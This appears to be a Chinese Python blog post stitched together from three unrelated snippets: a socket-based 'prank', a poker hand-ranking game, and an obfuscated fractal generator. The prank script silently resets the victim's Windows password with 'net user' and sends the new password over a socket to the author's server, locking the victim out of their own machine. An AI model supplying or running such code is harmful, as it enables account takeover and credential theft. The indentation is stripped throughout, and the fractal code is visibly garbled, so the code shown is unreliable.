使用Python中的socket包。
第一步,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。
第二步,让你的朋友在他的电脑上运行客户端 client.py。
此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。
嗯,然后你朋友的电脑密码就只有你自己知道了~
参考代码:
# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()
一付扑克牌,去掉大小王,每个玩家发3张牌,最后比大小,看谁赢。
有以下几种牌:
豹子:三张一样的牌,如3张6.
顺金:又称同花顺,即3张同样花色的顺子, 如红桃 5、6、7
顺子:又称拖拉机,花色不同,但是顺子,如红桃5、方片6、黑桃7,组成的顺子
对子:2张牌一样
单张:单张最大的是A
这几种牌的大小顺序为, 豹子>顺金>顺子>对子>单张
程序需要实现的点:
主要思路:
把各种牌用积分来计算,最后加上三张牌的基础积分。即:最终积分=基础积分+牌型积分。最后比较最红积分,谁的积分大,谁排名就靠前。
参考代码:
```clike
# -*- coding: utf-8 -*-
"""
# @Time : 2021-01-07 14:55
# @author : jianwei
# @Software : PyCharm
"""
import random
import operator
puke = [] # 存储扑克牌
num_list = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K', 'A']
hua_list = ['梅花', '红桃', '黑桃', '方块']
sotr_dic = {
'2': 0, '3': 1, '4': 2, '5': 3, '6': 4, '7': 5, '8': 6, '9': 7, '10': 8, 'J': 9, 'Q': 10, 'K': 11, 'A': 12,
'对子': 15, '顺子': 30, '顺金': 60, '豹子': 100}
count_new_list = [] # 存储玩家分数和排序后排名
count_dic = {
} # 存储玩家分数
# 准备52张扑克
for hua in hua_list:
for num in num_list:
a = hua + num
puke.append(a)
player_dic = {
'玩家1': [], '玩家2': [], '玩家3': [], '玩家4': [], '玩家5': []}
# 随机给五个玩家发牌
# print(len(puke))
for key, value in player_dic.items():
for i in range(3):
plate = random.sample(puke, 3)
player_dic[key] = plate
for i in plate:
puke.remove(i)
# print(player_dic)
# 获取玩家的牌型
def paixing(list1):
num = []
huase = []
for i in list1:
a = i[2:]
b = i[:2]
num.append(a)
huase.append(b)
return num, huase
# 对数字的牌型进行排序
def sotr(num):
new_num = []
sort_list2 = []
list1 = []
for i in num:
new_num.append(sotr_dic[i])
new_num = sorted(new_num)
for new in new_num:
sort_list2.append([k for k, v in sotr_dic.items() if v == new])
for m in sort_list2:
for n in m:
list1.append(n)
return list1
# 对玩家的牌形统计分数
def count(num, huase):
a = 0
base_count = sotr_dic[num[0]] + sotr_dic[num[1]] + sotr_dic[num[2]]
if num[0] == num[1] and num[1] == num[2]:
paixing = '豹子'
a = base_count + sotr_dic[paixing]
# print(paixing, a)
elif (sotr_dic[num[0]] + 1 == sotr_dic[num[1]] and sotr_dic[num[2]] - 1 == sotr_dic[num[1]]) and (huase[0] == huase[
1] and huase[1] == huase[2]):
paixing = '顺金'
a = base_count + sotr_dic[paixing]
# print(paixing, a)
elif (sotr_dic[num[0]] + 1 == sotr_dic[num[1]]) and (sotr_dic[num[2]] - 1 == sotr_dic[num[1]]) and (
huase[0] != huase[
1] or huase[1] != huase[2]):
paixing = '顺子'
a = base_count + sotr_dic[paixing]
# print(paixing, a)
elif (num[0] == num[1] and num[1] != num[2]) or (num[1] == num[2] and num[0] != num[1]) or (
num[0] == num[2] and num[1] != num[0]):
paixing = '对子'
a = base_count + sotr_dic[paixing]
# print(paixing, a)
else:
a = base_count
return a
# 对存储玩家分数的字典进行排序
def compare(count_dic):
d = list(zip(count_dic.values(), count_dic.keys()))
return sorted(d, reverse=True)
for key, value in player_dic.items():
# print(key,value)
num, huase = paixing(value)
# print(num,huase)
num = sotr(num)
# print(num, huase)
count1 = count(num, huase)
# print(count1)
count_dic[key] = count1
print(key + "的牌为:" + str(value))
count_new_list = compare(count_dic)
# print(count_new_list)
print('最终排名:' + "\t" + count_new_list[0][1] + "第一名" + "\t" + count_new_list[1][1] + "第二名" + "\t" + count_new_list[2][
1] + "第三名" + "\t" + count_new_list[3][1] + "第四名" + "\t" + count_new_list[4][1] + "第五名")
_ = (
255,
lambda
V ,B,c
:c and Y(V*V+B,B, c
-1)if(abs(V)<6)else
( 2+c-4*abs(V)**-0.4)/i
) ;v, x=1500,1000;C=range(v*x
);import struct;P=struct.pack;M,\
j =',open('M.bmp','wb').write
for X in j('BM'+P(M,v*x*3+26,26,12,v,x,1,24))or C:
i ,Y=_;j(P('BBB',*(lambda T:(T*80+T**9
*i-950*T **99,T*70-880*T**18+701*
T **9 ,T*i**(1-T**45*2)))(sum(
[ Y(0,(A%3/3.+X%v+(X/v+
A/3/3.-x/2)/1j)*2.5
/x -2.7,i)**2 for \
A in C
[:9]])
/9)
) )
将上面的代码粘贴到一个文件中,比如爬Python 1.py 然后运行,耐心地等等,将会在目录下生成一个漂亮的分形图案。
到这里结束了,更多Python技术交流,行业咨询、兼职交流、基础入门视频,电子书籍,大佬在线专业解答等更多福利,请点击领取